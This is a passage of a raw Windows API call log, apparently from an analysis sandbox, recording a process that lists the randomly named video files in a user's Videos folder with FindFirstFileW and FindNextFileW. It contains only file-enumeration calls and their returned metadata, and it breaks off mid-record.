FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf85a0b75, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf85a0b75, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.121] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe32d00, ftCreationTime.dwHighDateTime=0x1d9af60, ftLastAccessTime.dwLowDateTime=0xbe9a10, ftLastAccessTime.dwHighDateTime=0x1d9b551, ftLastWriteTime.dwLowDateTime=0xbe9a10, ftLastWriteTime.dwHighDateTime=0x1d9b551, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="-tEuA7di11Z.avi", cAlternateFileName="-TEUA7~1.AVI")) returned 1 [0213.121] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe66ab9a0, ftCreationTime.dwHighDateTime=0x1d9aa06, ftLastAccessTime.dwLowDateTime=0x9ff615e0, ftLastAccessTime.dwHighDateTime=0x1d9b556, ftLastWriteTime.dwLowDateTime=0x9ff615e0, ftLastWriteTime.dwHighDateTime=0x1d9b556, nFileSizeHigh=0x0, nFileSizeLow=0x3d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="088h7N7M7.mp4", cAlternateFileName="088H7N~1.MP4")) returned 1 [0213.122] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74e9cb30, ftCreationTime.dwHighDateTime=0x1d9b196, ftLastAccessTime.dwLowDateTime=0x45c33310, ftLastAccessTime.dwHighDateTime=0x1d9b3c5, ftLastWriteTime.dwLowDateTime=0x45c33310, ftLastWriteTime.dwHighDateTime=0x1d9b3c5, nFileSizeHigh=0x0, nFileSizeLow=0xbcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Dr DSp.avi", cAlternateFileName="1DRDSP~1.AVI")) returned 1 [0213.122] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f4a50f0, ftCreationTime.dwHighDateTime=0x1d9a76b, ftLastAccessTime.dwLowDateTime=0xee01ca00, ftLastAccessTime.dwHighDateTime=0x1d9b005, ftLastWriteTime.dwLowDateTime=0xee01ca00, ftLastWriteTime.dwHighDateTime=0x1d9b005, nFileSizeHigh=0x0, nFileSizeLow=0x18f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Lj3gcDMEM6jcci.avi", cAlternateFileName="2LJ3GC~1.AVI")) returned 1 [0213.122] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89ab7e0, ftCreationTime.dwHighDateTime=0x1d9ab4b, ftLastAccessTime.dwLowDateTime=0xf4645600, ftLastAccessTime.dwHighDateTime=0x1d9ac14, ftLastWriteTime.dwLowDateTime=0xf4645600, ftLastWriteTime.dwHighDateTime=0x1d9ac14, nFileSizeHigh=0x0, nFileSizeLow=0xdff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="5uS6zSYpkBUCeH_NHM.avi", cAlternateFileName="5US6ZS~1.AVI")) returned 1 [0213.122] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf364f710, ftCreationTime.dwHighDateTime=0x1d9b41a, ftLastAccessTime.dwLowDateTime=0x17e865d0, ftLastAccessTime.dwHighDateTime=0x1d9b539, ftLastWriteTime.dwLowDateTime=0x17e865d0, ftLastWriteTime.dwHighDateTime=0x1d9b539, nFileSizeHigh=0x0, nFileSizeLow=0xba3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="8i-N9j_RFb.swf", cAlternateFileName="8I-N9J~1.SWF")) returned 1 [0213.123] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2d1de50, ftCreationTime.dwHighDateTime=0x1d9ad69, ftLastAccessTime.dwLowDateTime=0x3a1eedb0, ftLastAccessTime.dwHighDateTime=0x1d9b33e, ftLastWriteTime.dwLowDateTime=0x3a1eedb0, ftLastWriteTime.dwHighDateTime=0x1d9b33e, nFileSizeHigh=0x0, nFileSizeLow=0x17fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="8k0NbPnXrk S XH4nCI.avi", cAlternateFileName="8K0NBP~1.AVI")) returned 1 [0213.123] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee7f780, ftCreationTime.dwHighDateTime=0x1d9b091, ftLastAccessTime.dwLowDateTime=0xf9d65c90, ftLastAccessTime.dwHighDateTime=0x1d9b19c, ftLastWriteTime.dwLowDateTime=0xf9d65c90, ftLastWriteTime.dwHighDateTime=0x1d9b19c, nFileSizeHigh=0x0, nFileSizeLow=0xc78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AenOoqwj07ENnY.mp4", cAlternateFileName="AENOOQ~1.MP4")) returned 1 [0213.123] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d5e2c0, ftCreationTime.dwHighDateTime=0x1d9a879, ftLastAccessTime.dwLowDateTime=0xdba21020, ftLastAccessTime.dwHighDateTime=0x1d9b133, ftLastWriteTime.dwLowDateTime=0xdba21020, ftLastWriteTime.dwHighDateTime=0x1d9b133, nFileSizeHigh=0x0, nFileSizeLow=0xefcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BQPV.swf", cAlternateFileName="")) returned 1 [0213.123] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db124d0, ftCreationTime.dwHighDateTime=0x1d9b159, ftLastAccessTime.dwLowDateTime=0x4172a160, ftLastAccessTime.dwHighDateTime=0x1d9b1c7, ftLastWriteTime.dwLowDateTime=0x4172a160, ftLastWriteTime.dwHighDateTime=0x1d9b1c7, nFileSizeHigh=0x0, nFileSizeLow=0xe1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG4B6dh7K.flv", cAlternateFileName="CG4B6D~1.FLV")) returned 1 [0213.123] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ccd6140, ftCreationTime.dwHighDateTime=0x1d9a81a, ftLastAccessTime.dwLowDateTime=0x6449b7e0, ftLastAccessTime.dwHighDateTime=0x1d9b362, ftLastWriteTime.dwLowDateTime=0x6449b7e0, ftLastWriteTime.dwHighDateTime=0x1d9b362, nFileSizeHigh=0x0, nFileSizeLow=0x389e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CnG3Kvodd.mp4", cAlternateFileName="CNG3KV~1.MP4")) returned 1 [0213.124] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b5c860, ftCreationTime.dwHighDateTime=0x1d9abe5, ftLastAccessTime.dwLowDateTime=0x6f6f3b90, ftLastAccessTime.dwHighDateTime=0x1d9b060, ftLastWriteTime.dwLowDateTime=0x6f6f3b90, ftLastWriteTime.dwHighDateTime=0x1d9b060, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="cR2X8y-W.avi", cAlternateFileName="")) returned 1 [0213.124] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4347fe61, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.124] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ff2c50, ftCreationTime.dwHighDateTime=0x1d9aaaa, ftLastAccessTime.dwLowDateTime=0xea8474b0, ftLastAccessTime.dwHighDateTime=0x1d9aef5, ftLastWriteTime.dwLowDateTime=0xea8474b0, ftLastWriteTime.dwHighDateTime=0x1d9aef5, nFileSizeHigh=0x0, nFileSizeLow=0x31a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="EzLObw4Sp7VPWmz.flv", cAlternateFileName="EZLOBW~1.FLV")) returned 1 [0213.124] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf6d6b70, ftCreationTime.dwHighDateTime=0x1d9ae31, ftLastAccessTime.dwLowDateTime=0x237bb2d0, ftLastAccessTime.dwHighDateTime=0x1d9b1b0, ftLastWriteTime.dwLowDateTime=0x237bb2d0, ftLastWriteTime.dwHighDateTime=0x1d9b1b0, nFileSizeHigh=0x0, nFileSizeLow=0x1364e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HIFKPtmPBbkMQjVHt.avi", cAlternateFileName="HIFKPT~1.AVI")) returned 1 [0213.124] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22069720, ftCreationTime.dwHighDateTime=0x1d9b2f1, ftLastAccessTime.dwLowDateTime=0x71fede00, ftLastAccessTime.dwHighDateTime=0x1d9b4bc, ftLastWriteTime.dwLowDateTime=0x71fede00, ftLastWriteTime.dwHighDateTime=0x1d9b4bc, nFileSizeHigh=0x0, nFileSizeLow=0x2e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="HU-igGNceIklO4PCgk7W.avi", cAlternateFileName="HU-IGG~1.AVI")) returned 1 [0213.125] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d5d3c0, ftCreationTime.dwHighDateTime=0x1d9b2db, ftLastAccessTime.dwLowDateTime=0x747277e0, ftLastAccessTime.dwHighDateTime=0x1d9b481, ftLastWriteTime.dwLowDateTime=0x747277e0, ftLastWriteTime.dwHighDateTime=0x1d9b481, nFileSizeHigh=0x0, nFileSizeLow=0xf78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ii-T1r 3G1kS_vN.mp4", cAlternateFileName="II-T1R~1.MP4")) returned 1 [0213.125] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c4e7f0, ftCreationTime.dwHighDateTime=0x1d9ab3b, ftLastAccessTime.dwLowDateTime=0xa1114d80, ftLastAccessTime.dwHighDateTime=0x1d9affe, ftLastWriteTime.dwLowDateTime=0xa1114d80, ftLastWriteTime.dwHighDateTime=0x1d9affe, nFileSizeHigh=0x0, nFileSizeLow=0x49b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jcgiJZ3.mp4", cAlternateFileName="")) returned 1 [0213.125] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ed3e280, ftCreationTime.dwHighDateTime=0x1d9a7ac, ftLastAccessTime.dwLowDateTime=0x192230a0, ftLastAccessTime.dwHighDateTime=0x1d9b310, ftLastWriteTime.dwLowDateTime=0x192230a0, ftLastWriteTime.dwHighDateTime=0x1d9b310, nFileSizeHigh=0x0, nFileSizeLow=0x63f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="K0Lg.mp4", cAlternateFileName="")) returned 1 [0213.125] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bde6030, ftCreationTime.dwHighDateTime=0x1d9a5ec, ftLastAccessTime.dwLowDateTime=0x95358390, ftLastAccessTime.dwHighDateTime=0x1d9aa78, ftLastWriteTime.dwLowDateTime=0x95358390, ftLastWriteTime.dwHighDateTime=0x1d9aa78, nFileSizeHigh=0x0, nFileSizeLow=0x18408, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kl73FiAvdq.swf", cAlternateFileName="KL73FI~1.SWF")) returned 1 [0213.125] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafdd2b0, ftCreationTime.dwHighDateTime=0x1d9a832, ftLastAccessTime.dwLowDateTime=0xc984f950, ftLastAccessTime.dwHighDateTime=0x1d9ac26, ftLastWriteTime.dwLowDateTime=0xc984f950, ftLastWriteTime.dwHighDateTime=0x1d9ac26, nFileSizeHigh=0x0, nFileSizeLow=0x6626, dwReserved0=0x0, dwReserved1=0x0, cFileName="nTnSLZujUSHef4w.avi", cAlternateFileName="NTNSLZ~1.AVI")) returned 1 [0213.126] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287994f0, ftCreationTime.dwHighDateTime=0x1d9b110, ftLastAccessTime.dwLowDateTime=0xb5b10290, ftLastAccessTime.dwHighDateTime=0x1d9b110, ftLastWriteTime.dwLowDateTime=0xb5b10290, ftLastWriteTime.dwHighDateTime=0x1d9b110, nFileSizeHigh=0x0, nFileSizeLow=0xe768, dwReserved0=0x0, dwReserved1=0x0, cFileName="OAYZ0Os.swf", cAlternateFileName="")) returned 1 [0213.126] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f33f30, ftCreationTime.dwHighDateTime=0x1d9b2bc, ftLastAccessTime.dwLowDateTime=0x87e94a90, ftLastAccessTime.dwHighDateTime=0x1d9b465, ftLastWriteTime.dwLowDateTime=0x87e94a90, ftLastWriteTime.dwHighDateTime=0x1d9b465, nFileSizeHigh=0x0, nFileSizeLow=0x10d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="oWQXb49xx.swf", cAlternateFileName="OWQXB4~1.SWF")) returned 1 [0213.126] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52691fd0, ftCreationTime.dwHighDateTime=0x1d9ab1e, ftLastAccessTime.dwLowDateTime=0x50234ea0, ftLastAccessTime.dwHighDateTime=0x1d9ac07, ftLastWriteTime.dwLowDateTime=0x50234ea0, ftLastWriteTime.dwHighDateTime=0x1d9ac07, nFileSizeHigh=0x0, nFileSizeLow=0x35ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="p18NLuuMBhn5Jx9G.mkv", cAlternateFileName="P18NLU~1.MKV")) returned 1 [0213.126] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0269330, ftCreationTime.dwHighDateTime=0x1d9a75c, ftLastAccessTime.dwLowDateTime=0x5067a720, ftLastAccessTime.dwHighDateTime=0x1d9b4b9, ftLastWriteTime.dwLowDateTime=0x5067a720, ftLastWriteTime.dwHighDateTime=0x1d9b4b9, nFileSizeHigh=0x0, nFileSizeLow=0xe310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rc3gSbT-Eom.avi", cAlternateFileName="RC3GSB~1.AVI")) returned 1 [0213.126] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7afb2480, ftCreationTime.dwHighDateTime=0x1d9a974, ftLastAccessTime.dwLowDateTime=0x4aa2da60, ftLastAccessTime.dwHighDateTime=0x1d9ac78, ftLastWriteTime.dwLowDateTime=0x4aa2da60, ftLastWriteTime.dwHighDateTime=0x1d9ac78, nFileSizeHigh=0x0, nFileSizeLow=0x176a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="stF joEuH9rNdOF4n.avi", cAlternateFileName="STFJOE~1.AVI")) returned 1 [0213.127] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f502ec0, ftCreationTime.dwHighDateTime=0x1d9a91c, ftLastAccessTime.dwLowDateTime=0x815fb7d0, ftLastAccessTime.dwHighDateTime=0x1d9ab1f, ftLastWriteTime.dwLowDateTime=0x815fb7d0, ftLastWriteTime.dwHighDateTime=0x1d9ab1f, nFileSizeHigh=0x0, nFileSizeLow=0xd8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEVYZxSNW1de8Pf.flv", cAlternateFileName="UEVYZX~1.FLV")) returned 1 [0213.127] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x861a2b30, ftCreationTime.dwHighDateTime=0x1d9a975, ftLastAccessTime.dwLowDateTime=0x52323810, ftLastAccessTime.dwHighDateTime=0x1d9b2c3, ftLastWriteTime.dwLowDateTime=0x52323810, ftLastWriteTime.dwHighDateTime=0x1d9b2c3, nFileSizeHigh=0x0, nFileSizeLow=0x13a89, dwReserved0=0x0, dwReserved1=0x0, cFileName="UYcDo m16Zw.swf", cAlternateFileName="UYCDOM~1.SWF")) returned 1 [0213.127] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855d75b0, ftCreationTime.dwHighDateTime=0x1d9b50c, ftLastAccessTime.dwLowDateTime=0x39b3bd20, ftLastAccessTime.dwHighDateTime=0x1d9b51d, ftLastWriteTime.dwLowDateTime=0x39b3bd20, ftLastWriteTime.dwHighDateTime=0x1d9b51d, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="XvFCJJyqCv.avi", cAlternateFileName="XVFCJJ~1.AVI")) returned 1 [0213.127] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.127] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0213.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.128] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos", lpFilePart=0x0) returned 0x1c [0213.128] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf85a0b75, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf85a0b75, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0213.128] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf85a0b75, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf85a0b75, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.128] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe32d00, ftCreationTime.dwHighDateTime=0x1d9af60, ftLastAccessTime.dwLowDateTime=0xbe9a10, ftLastAccessTime.dwHighDateTime=0x1d9b551, ftLastWriteTime.dwLowDateTime=0xbe9a10, ftLastWriteTime.dwHighDateTime=0x1d9b551, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="-tEuA7di11Z.avi", cAlternateFileName="-TEUA7~1.AVI")) returned 1 [0213.128] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe66ab9a0, ftCreationTime.dwHighDateTime=0x1d9aa06, ftLastAccessTime.dwLowDateTime=0x9ff615e0, ftLastAccessTime.dwHighDateTime=0x1d9b556, ftLastWriteTime.dwLowDateTime=0x9ff615e0, ftLastWriteTime.dwHighDateTime=0x1d9b556, nFileSizeHigh=0x0, nFileSizeLow=0x3d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="088h7N7M7.mp4", cAlternateFileName="088H7N~1.MP4")) returned 1 [0213.129] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74e9cb30, ftCreationTime.dwHighDateTime=0x1d9b196, ftLastAccessTime.dwLowDateTime=0x45c33310, ftLastAccessTime.dwHighDateTime=0x1d9b3c5, ftLastWriteTime.dwLowDateTime=0x45c33310, ftLastWriteTime.dwHighDateTime=0x1d9b3c5, nFileSizeHigh=0x0, nFileSizeLow=0xbcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Dr DSp.avi", cAlternateFileName="1DRDSP~1.AVI")) returned 1 [0213.129] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f4a50f0, ftCreationTime.dwHighDateTime=0x1d9a76b, ftLastAccessTime.dwLowDateTime=0xee01ca00, ftLastAccessTime.dwHighDateTime=0x1d9b005, ftLastWriteTime.dwLowDateTime=0xee01ca00, ftLastWriteTime.dwHighDateTime=0x1d9b005, nFileSizeHigh=0x0, nFileSizeLow=0x18f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Lj3gcDMEM6jcci.avi", cAlternateFileName="2LJ3GC~1.AVI")) returned 1 [0213.129] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89ab7e0, ftCreationTime.dwHighDateTime=0x1d9ab4b, ftLastAccessTime.dwLowDateTime=0xf4645600, ftLastAccessTime.dwHighDateTime=0x1d9ac14, ftLastWriteTime.dwLowDateTime=0xf4645600, ftLastWriteTime.dwHighDateTime=0x1d9ac14, nFileSizeHigh=0x0, nFileSizeLow=0xdff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="5uS6zSYpkBUCeH_NHM.avi", cAlternateFileName="5US6ZS~1.AVI")) returned 1 [0213.129] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf364f710, ftCreationTime.dwHighDateTime=0x1d9b41a, ftLastAccessTime.dwLowDateTime=0x17e865d0, ftLastAccessTime.dwHighDateTime=0x1d9b539, ftLastWriteTime.dwLowDateTime=0x17e865d0, ftLastWriteTime.dwHighDateTime=0x1d9b539, nFileSizeHigh=0x0, nFileSizeLow=0xba3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="8i-N9j_RFb.swf", cAlternateFileName="8I-N9J~1.SWF")) returned 1 [0213.130] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2d1de50, ftCreationTime.dwHighDateTime=0x1d9ad69, ftLastAccessTime.dwLowDateTime=0x3a1eedb0, ftLastAccessTime.dwHighDateTime=0x1d9b33e, ftLastWriteTime.dwLowDateTime=0x3a1eedb0, ftLastWriteTime.dwHighDateTime=0x1d9b33e, nFileSizeHigh=0x0, nFileSizeLow=0x17fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="8k0NbPnXrk S XH4nCI.avi", cAlternateFileName="8K0NBP~1.AVI")) returned 1 [0213.130] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee7f780, ftCreationTime.dwHighDateTime=0x1d9b091, ftLastAccessTime.dwLowDateTime=0xf9d65c90, ftLastAccessTime.dwHighDateTime=0x1d9b19c, ftLastWriteTime.dwLowDateTime=0xf9d65c90, ftLastWriteTime.dwHighDateTime=0x1d9b19c, nFileSizeHigh=0x0, nFileSizeLow=0xc78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AenOoqwj07ENnY.mp4", cAlternateFileName="AENOOQ~1.MP4")) returned 1 [0213.130] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d5e2c0, ftCreationTime.dwHighDateTime=0x1d9a879, ftLastAccessTime.dwLowDateTime=0xdba21020, ftLastAccessTime.dwHighDateTime=0x1d9b133, ftLastWriteTime.dwLowDateTime=0xdba21020, ftLastWriteTime.dwHighDateTime=0x1d9b133, nFileSizeHigh=0x0, nFileSizeLow=0xefcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BQPV.swf", cAlternateFileName="")) returned 1 [0213.130] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db124d0, ftCreationTime.dwHighDateTime=0x1d9b159, ftLastAccessTime.dwLowDateTime=0x4172a160, ftLastAccessTime.dwHighDateTime=0x1d9b1c7, ftLastWriteTime.dwLowDateTime=0x4172a160, ftLastWriteTime.dwHighDateTime=0x1d9b1c7, nFileSizeHigh=0x0, nFileSizeLow=0xe1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG4B6dh7K.flv", cAlternateFileName="CG4B6D~1.FLV")) returned 1 [0213.131] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ccd6140, ftCreationTime.dwHighDateTime=0x1d9a81a, ftLastAccessTime.dwLowDateTime=0x6449b7e0, ftLastAccessTime.dwHighDateTime=0x1d9b362, ftLastWriteTime.dwLowDateTime=0x6449b7e0, ftLastWriteTime.dwHighDateTime=0x1d9b362, 